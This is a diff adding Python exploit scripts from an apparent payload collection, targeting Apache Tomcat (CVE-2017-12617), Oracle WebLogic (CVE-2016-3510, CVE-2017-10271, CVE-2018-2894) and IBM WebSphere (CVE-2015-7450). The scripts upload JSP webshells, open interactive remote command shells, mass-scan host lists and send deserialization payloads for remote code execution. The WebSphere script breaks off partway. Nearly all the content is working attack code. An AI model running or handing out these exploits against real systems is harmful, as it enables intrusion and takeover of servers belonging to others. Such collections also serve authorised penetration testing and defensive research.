+ from optparse import OptionParser
33
+
34
+
35
+
36
+
37
+
38
+
39
+
40
+
41
+ class bcolors(object):
42
+ HEADER = '\033[95m'
43
+ OKBLUE = '\033[94m'
44
+ OKGREEN = '\033[92m'
45
+ WARNING = '\033[93m'
46
+ FAIL = '\033[91m'
47
+ ENDC = '\033[0m'
48
+ BOLD = '\033[1m'
49
+ UNDERLINE = '\033[4m'
50
+
51
+
52
+
53
+
54
+ banner="""
55
+
56
+
57
+ _______ ________ ___ ___ __ ______ __ ___ __ __ ______
58
+ / ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ |
59
+ | | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / /
60
+ | | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / /
61
+ | |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / /
62
+ \_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/
63
+
64
+
65
+
66
+ [@intx0x80]
67
+
68
+ """
69
+
70
+
71
+
72
+
73
+
74
+ def signal_handler(signal, frame):
75
+
76
+ print ("\033[91m"+"\n[-] Exiting"+"\033[0m")
77
+
78
+ exit()
79
+
80
+ signal.signal(signal.SIGINT, signal_handler)
81
+
82
+
83
+
84
+
85
+ def removetags(tags):
86
+ remove = re.compile('<.*?>')
87
+ txt = re.sub(remove, '\n', tags)
88
+ return txt.replace("\n\n\n","\n")
89
+
90
+
91
+ def getContent(url,f):
92
+ headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
93
+ re=requests.get(str(url)+"/"+str(f), headers=headers)
94
+ return re.content
95
+
96
+ def createPayload(url,f):
97
+ evil='<% out.println("AAAAAAAAAAAAAAAAAAAAAAAAAAAAA");%>'
98
+ headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
99
+ req=requests.put(str(url)+str(f)+"/",data=evil, headers=headers)
100
+ if req.status_code==201:
101
+ print("File Created ..")
102
+
103
+
104
+ def RCE(url,f):
105
+ EVIL="""<FORM METHOD=GET ACTION='{}'>""".format(f)+"""
106
+ <INPUT name='cmd' type=text>
107
+ <INPUT type=submit value='Run'>
108
+ </FORM>
109
+ <%@ page import="java.io.*" %>
110
+ <%
111
+ String cmd = request.getParameter("cmd");
112
+ String output = "";
113
+ if(cmd != null) {
114
+ String s = null;
115
+ try {
116
+ Process p = Runtime.getRuntime().exec(cmd,null,null);
117
+ BufferedReader sI = new BufferedReader(new
118
+ InputStreamReader(p.getInputStream()));
119
+ while((s = sI.readLine()) != null) { output += s+"</br>"; }
120
+ } catch(IOException e) { e.printStackTrace(); }
121
+ }
122
+ %>
123
+ <pre><%=output %></pre>"""
124
+
125
+
126
+
127
+ headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
128
+
129
+ req=requests.put(str(url)+f+"/",data=EVIL, headers=headers)
130
+
131
+
132
+
133
+ def shell(url,f):
134
+
135
+ while True:
136
+ headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
137
+ cmd=input("$ ")
138
+ payload={'cmd':cmd}
139
+ if cmd=="q" or cmd=="Q":
140
+ break
141
+
142
+ re=requests.get(str(url)+"/"+str(f),params=payload,headers=headers)
143
+ re=str(re.content)
144
+ t=removetags(re)
145
+ print(t)
146
+
147
+
148
+
149
+
150
+
151
+ #print bcolors.HEADER+ banner+bcolors.ENDC
152
+
153
+ parse=OptionParser(
154
+
155
+
156
+ bcolors.HEADER+"""
157
+
158
+
159
+ _______ ________ ___ ___ __ ______ __ ___ __ __ ______
160
+ / ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ |
161
+ | | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / /
162
+ | | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / /
163
+ | |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / /
164
+ \_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/
165
+
166
+
167
+
168
+
169
+ ./cve-2017-12617.py [options]
170
+
171
+ options:
172
+
173
+ -u ,--url [::] check target url if it's vulnerable
174
+ -p,--pwn [::] generate webshell and upload it
175
+ -l,--list [::] hosts list
176
+
177
+ [+]usage:
178
+
179
+ ./cve-2017-12617.py -u http://127.0.0.1
180
+ ./cve-2017-12617.py --url http://127.0.0.1
181
+ ./cve-2017-12617.py -u http://127.0.0.1 -p pwn
182
+ ./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn
183
+ ./cve-2017-12617.py -l hotsts.txt
184
+ ./cve-2017-12617.py --list hosts.txt
185
+
186
+
187
+ [@intx0x80]
188
+
189
+ """+bcolors.ENDC
190
+
191
+ )
192
+
193
+
194
+ parse.add_option("-u","--url",dest="U",type="string",help="Website Url")
195
+ parse.add_option("-p","--pwn",dest="P",type="string",help="generate webshell and upload it")
196
+ parse.add_option("-l","--list",dest="L",type="string",help="hosts File")
197
+
198
+ (opt,args)=parse.parse_args()
199
+
200
+ if opt.U==None and opt.P==None and opt.L==None:
201
+ print(parse.usage)
202
+ exit(0)
203
+
204
+
205
+
206
+ else:
207
+ if opt.U!=None and opt.P==None and opt.L==None:
208
+ print(bcolors.OKGREEN+banner+bcolors.ENDC)
209
+ url=str(opt.U)
210
+ checker="Poc.jsp"
211
+ print(bcolors.BOLD +"Poc Filename {}".format(checker))
212
+ createPayload(str(url)+"/",checker)
213
+ con=getContent(str(url)+"/",checker)
214
+ if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
215
+ print(bcolors.WARNING+url+' it\'s Vulnerable to CVE-2017-12617'+bcolors.ENDC)
216
+ print(bcolors.WARNING+url+"/"+checker+bcolors.ENDC)
217
+
218
+ else:
219
+ print('Not Vulnerable to CVE-2017-12617 ')
220
+ elif opt.P!=None and opt.U!=None and opt.L==None:
221
+ print(bcolors.OKGREEN+banner+bcolors.ENDC)
222
+ pwn=str(opt.P)
223
+ url=str(opt.U)
224
+ print("Uploading Webshell .....")
225
+ pwn=pwn+".jsp"
226
+ RCE(str(url)+"/",pwn)
227
+ shell(str(url),pwn)
228
+ elif opt.L!=None and opt.P==None and opt.U==None:
229
+ print(bcolors.OKGREEN+banner+bcolors.ENDC)
230
+ w=str(opt.L)
231
+ f=open(w,"r")
232
+ print("Scaning hosts in {}".format(w))
233
+ checker="Poc.jsp"
234
+ for i in f.readlines():
235
+ i=i.strip("\n")
236
+ createPayload(str(i)+"/",checker)
237
+ con=getContent(str(i)+"/",checker)
238
+ if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
239
+ print(str(i)+"\033[91m"+" [ Vulnerable ] ""\033[0m")
payloads/CVE Exploits/WebLogic CVE-2016-3510.py ADDED
@@ -0,0 +1,72 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python2
2
+
3
+ #Oracle WebLogic Server Java Object Deserialization RCE (CVE-2016-3510)
4
+ #Based on the PoC by FoxGlove Security (https://github.com/foxglovesec/JavaUnserializeExploits)
5
+ #Made with <3 by @byt3bl33d3r
6
+
7
+ from __future__ import print_function
8
+ import socket
9
+ import struct
10
+ import argparse
11
+ import os
12
+ import sys
13
+ from subprocess import check_output
14
+
15
+ ysoserial_default_paths = ['./ysoserial.jar', '../ysoserial.jar']
16
+ ysoserial_path = None
17
+
18
+ parser = argparse.ArgumentParser()
19
+ parser.add_argument('target', type=str, help='Target IP:PORT')
20
+ parser.add_argument('command', type=str, help='Command to run on target')
21
+ parser.add_argument('--ysoserial-path', metavar='PATH', type=str, help='Path to ysoserial JAR (default: tries current and previous directory)')
22
+
23
+ if len(sys.argv) < 2:
24
+ parser.print_help()
25
+ sys.exit(1)
26
+
27
+ args = parser.parse_args()
28
+
29
+ if not args.ysoserial_path:
30
+ for path in ysoserial_default_paths:
31
+ if os.path.exists(path):
32
+ ysoserial_path = path
33
+ else:
34
+ if os.path.exists(args.ysoserial_path):
35
+ ysoserial_path = args.ysoserial_path
36
+
37
+ if len(args.target.split(':')) != 2:
38
+ print('[-] Target must be in format IP:PORT')
39
+ sys.exit(1)
40
+
41
+ if not args.command:
42
+ print('[-] You must specify a command to run')
43
+ sys.exit(1)
44
+
45
+ ip, port = args.target.split(':')
46
+
47
+ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
48
+
49
+ print('[*] Target IP: {}'.format(ip))
50
+ print('[*] Target PORT: {}'.format(port))
51
+
52
+ sock.connect((ip, int(port)))
53
+
54
+ # Send headers
55
+ headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
56
+ print('[*] Sending header')
57
+ sock.sendall(headers)
58
+
59
+ data = sock.recv(1024)
60
+ print('[*] Received: "{}"'.format(data))
61
+
62
+ payloadObj = check_output(['java', '-jar', ysoserial_path, 'CommonsCollections1', args.command])
63
+
64
+ payload = '\x00\x00\x09\xf3\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00'
65
+ payload += payloadObj
66
+ payload += '\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78'
67
+
68
+ # adjust header for appropriate message length
69
+ payload = "{0}{1}".format(struct.pack('!i', len(payload)), payload[4:])
70
+
71
+ print('[*] Sending payload')
72
+ sock.send(payload)
payloads/CVE Exploits/WebLogic CVE-2017-10271.py ADDED
@@ -0,0 +1,63 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ from __future__ import print_function
2
+ from builtins import input
3
+ import requests
4
+ import sys
5
+
6
+ url_in = sys.argv[1]
7
+ payload_url = url_in + "/wls-wsat/CoordinatorPortType"
8
+ payload_header = {'content-type': 'text/xml'}
9
+
10
+
11
+ def payload_command (command_in):
12
+ html_escape_table = {
13
+ "&": "&amp;",
14
+ '"': "&quot;",
15
+ "'": "&apos;",
16
+ ">": "&gt;",
17
+ "<": "&lt;",
18
+ }
19
+ command_filtered = "<string>"+"".join(html_escape_table.get(c, c) for c in command_in)+"</string>"
20
+ payload_1 = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"> \n" \
21
+ " <soapenv:Header> " \
22
+ " <work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\"> \n" \
23
+ " <java version=\"1.8.0_151\" class=\"java.beans.XMLDecoder\"> \n" \
24
+ " <void class=\"java.lang.ProcessBuilder\"> \n" \
25
+ " <array class=\"java.lang.String\" length=\"3\">" \
26
+ " <void index = \"0\"> " \
27
+ " <string>cmd</string> " \
28
+ " </void> " \
29
+ " <void index = \"1\"> " \
30
+ " <string>/c</string> " \
31
+ " </void> " \
32
+ " <void index = \"2\"> " \
33
+ + command_filtered + \
34
+ " </void> " \
35
+ " </array>" \
36
+ " <void method=\"start\"/>" \
37
+ " </void>" \
38
+ " </java>" \
39
+ " </work:WorkContext>" \
40
+ " </soapenv:Header>" \
41
+ " <soapenv:Body/>" \
42
+ "</soapenv:Envelope>"
43
+ return payload_1
44
+
45
+ def do_post(command_in):
46
+ result = requests.post(payload_url, payload_command(command_in ),headers = payload_header)
47
+
48
+ if result.status_code == 500:
49
+ print("Command Executed \n")
50
+ else:
51
+ print("Something Went Wrong \n")
52
+
53
+
54
+
55
+ print("***************************************************** \n" \
56
+ "**************** Coded By 1337g ****************** \n" \
57
+ "* CVE-2017-10271 Blind Remote Command Execute EXP * \n" \
58
+ "***************************************************** \n")
59
+
60
+ while 1:
61
+ command_in = input("Eneter your command here: ")
62
+ if command_in == "exit" : exit(0)
63
+ do_post(command_in)
payloads/CVE Exploits/WebLogic CVE-2018-2894.py ADDED
@@ -0,0 +1,128 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python
2
+ # coding:utf-8
3
+ # Build By LandGrey
4
+
5
+ from __future__ import print_function
6
+ from builtins import str
7
+ import re
8
+ import sys
9
+ import time
10
+ import argparse
11
+ import requests
12
+ import traceback
13
+ import xml.etree.ElementTree as ET
14
+
15
+
16
+ def get_current_work_path(host):
17
+ geturl = host + "/ws_utc/resources/setting/options/general"
18
+ ua = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0'}
19
+ values = []
20
+ try:
21
+ request = requests.get(geturl)
22
+ if request.status_code == 404:
23
+ exit("[-] {} don't exists CVE-2018-2894".format(host))
24
+ elif "Deploying Application".lower() in request.text.lower():
25
+ print("[*] First Deploying Website Please wait a moment ...")
26
+ time.sleep(20)
27
+ request = requests.get(geturl, headers=ua)
28
+ if "</defaultValue>" in request.content:
29
+ root = ET.fromstring(request.content)
30
+ value = root.find("section").find("options")
31
+ for e in value:
32
+ for sub in e:
33
+ if e.tag == "parameter" and sub.tag == "defaultValue":
34
+ values.append(sub.text)
35
+ except requests.ConnectionError:
36
+ exit("[-] Cannot connect url: {}".format(geturl))
37
+ if values:
38
+ return values[0]
39
+ else:
40
+ print("[-] Cannot get current work path\n")
41
+ exit(request.content)
42
+
43
+
44
+ def get_new_work_path(host):
45
+ origin_work_path = get_current_work_path(host)
46
+ works = "/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css"
47
+ if "user_projects" in origin_work_path:
48
+ if "\\" in origin_work_path:
49
+ works = works.replace("/", "\\")
50
+ current_work_home = origin_work_path[:origin_work_path.find("user_projects")] + "user_projects\\domains"
51
+ dir_len = len(current_work_home.split("\\"))
52
+ domain_name = origin_work_path.split("\\")[dir_len]
53
+ current_work_home += "\\" + domain_name + works
54
+ else:
55
+ current_work_home = origin_work_path[:origin_work_path.find("user_projects")] + "user_projects/domains"
56
+ dir_len = len(current_work_home.split("/"))
57
+ domain_name = origin_work_path.split("/")[dir_len]
58
+ current_work_home += "/" + domain_name + works
59
+ else:
60
+ current_work_home = origin_work_path
61
+ print("[*] cannot handle current work home dir: {}".format(origin_work_path))
62
+ return current_work_home
63
+
64
+
65
+ def set_new_upload_path(host, path):
66
+ data = {
67
+ "setting_id": "general",
68
+ "BasicConfigOptions.workDir": path,
69
+ "BasicConfigOptions.proxyHost": "",
70
+ "BasicConfigOptions.proxyPort": "80"}
71
+ request = requests.post(host + "/ws_utc/resources/setting/options", data=data, headers=headers)
72
+ if "successfully" in request.content:
73
+ return True
74
+ else:
75
+ print("[-] Change New Upload Path failed")
76
+ exit(request.content)
77
+
78
+
79
+ def upload_webshell(host, uri):
80
+ set_new_upload_path(host, get_new_work_path(host))
81
+ files = {
82
+ "ks_edit_mode": "false",
83
+ "ks_password_front": password,
84
+ "ks_password_changed": "true",
85
+ "ks_filename": ("360sglab.jsp", upload_content)
86
+ }
87
+
88
+ request = requests.post(host + uri, files=files)
89
+ response = request.text
90
+ match = re.findall("<id>(.*?)</id>", response)
91
+ if match:
92
+ tid = match[-1]
93
+ shell_path = host + "/ws_utc/css/config/keystore/" + str(tid) + "_360sglab.jsp"
94
+ if upload_content in requests.get(shell_path, headers=headers).content:
95
+ print("[+] {} exists CVE-2018-2894".format(host))
96
+ print("[+] Check URL: {} ".format(shell_path))
97
+ else:
98
+ print("[-] {} don't exists CVE-2018-2894".format(host))
99
+ else:
100
+ print("[-] {} don't exists CVE-2018-2894".format(host))
101
+
102
+
103
+ if __name__ == "__main__":
104
+ start = time.time()
105
+ password = "360sglab"
106
+ url = "/ws_utc/resources/setting/keystore"
107
+ parser = argparse.ArgumentParser()
108
+ parser.add_argument("-t", dest='target', default="http://127.0.0.1:7001", type=str,
109
+ help="target, such as: http://example.com:7001")
110
+
111
+ upload_content = "360sglab test"
112
+ headers = {
113
+ 'Content-Type': 'application/x-www-form-urlencoded',
114
+ 'X-Requested-With': 'XMLHttpRequest', }
115
+
116
+ if len(sys.argv) == 1:
117
+ sys.argv.append('-h')
118
+ args = parser.parse_args()
119
+ target = args.target
120
+
121
+ target = target.rstrip('/')
122
+ if "://" not in target:
123
+ target = "http://" + target
124
+ try:
125
+ upload_webshell(target, url)
126
+ except Exception as e:
127
+ print("[-] Error: \n")
128
+ traceback.print_exc()
payloads/CVE Exploits/WebSphere CVE-2015-7450.py ADDED
@@ -0,0 +1,80 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #! /usr/bin/env python2
2
+
3
+ #IBM WebSphere Java Object Deserialization RCE (CVE-2015-7450)
4
+ #Based on the nessus plugin websphere_java_serialize.nasl
5
+ #Made with <3 by @byt3bl33d3r
6
+
7
+ from __future__ import print_function
8
+ from builtins import chr
9
+ import requests
10
+ from requests.packages.urllib3.exceptions import InsecureRequestWarning
11
+ requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
12
+
13
+ import argparse
14
+ import sys
15
+ import base64
16
+ from binascii import unhexlify
17
+
18
+ parser = argparse.ArgumentParser()
19
+ parser.add_argument('target', type=str, help='Target IP:PORT')
20
+ parser.add_argument('command', type=str, help='Command to run on target')
21
+ parser.add_argument('--proto', choices={'http', 'https'}, default='https', help='Send exploit over http or https (default: https)')
22
+
23
+ if len(sys.argv) < 2:
24
+ parser.print_help()
25
+ sys.exit(1)
26
+
27
+ args = parser.parse_args()
28
+
29
+ if len(args.target.split(':')) != 2:
30
+ print('[-] Target must be in format IP:PORT')
31
+ sys.exit(1)
32
+
33
+ if not args.command:
34
+ print('[-] You must specify a command to run')
35
+ sys.exit(1)
36
+
37
+ elif args.command:
38
+ if len(args.command) > 254:
39
+ print('[-] Command must be less then 255 bytes')
40
+ sys.exit(1)
41
+
42
+ ip, port = args.target.split(':')
43
+
44
+ print('[*] Target IP: {}'.format(ip))
45
+ print('[*] Target PORT: {}'.format(port))
46
+
47
+ serObj = unhexlify("ACED00057372003273756E2E7265666C6563742E616E6E6F746174696F6E2E416E6E6F746174696F6E496E766F636174696F6E48616E646C657255CAF50F15CB7EA50200024C000C6D656D62657256616C75657374000F4C6A6176612F7574696C2F4D61703B4C0004747970657400114C6A6176612F6C616E672F436C6173733B7870737D00000001000D6A6176612E7574696C2E4D6170787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B78707371007E00007372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E747400124C6A6176612F6C616E672F4F626A6563743B7870767200116A6176612E6C616E672E52756E74696D65000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000274000A67657452756E74696D65757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007400096765744D6574686F647571007E001E00000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E001E7371007E00167571007E001B00000002707571007E001B00000000740006696E766F6B657571007E001E00000002767200106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E001B7371007E0016757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017400")
48
+ serObj += chr(len(args.command)) + args.command
49
+ serObj += unhexlify("740004657865637571007E001E0000000171007E00237371007E0011737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F40000000000010770800000010000000007878767200126A6176612E6C616E672E4F766572726964650000000000000000000000787071007E003A")
50
+
51
+ serObjB64 = base64.b64encode(serObj)
52
+
53
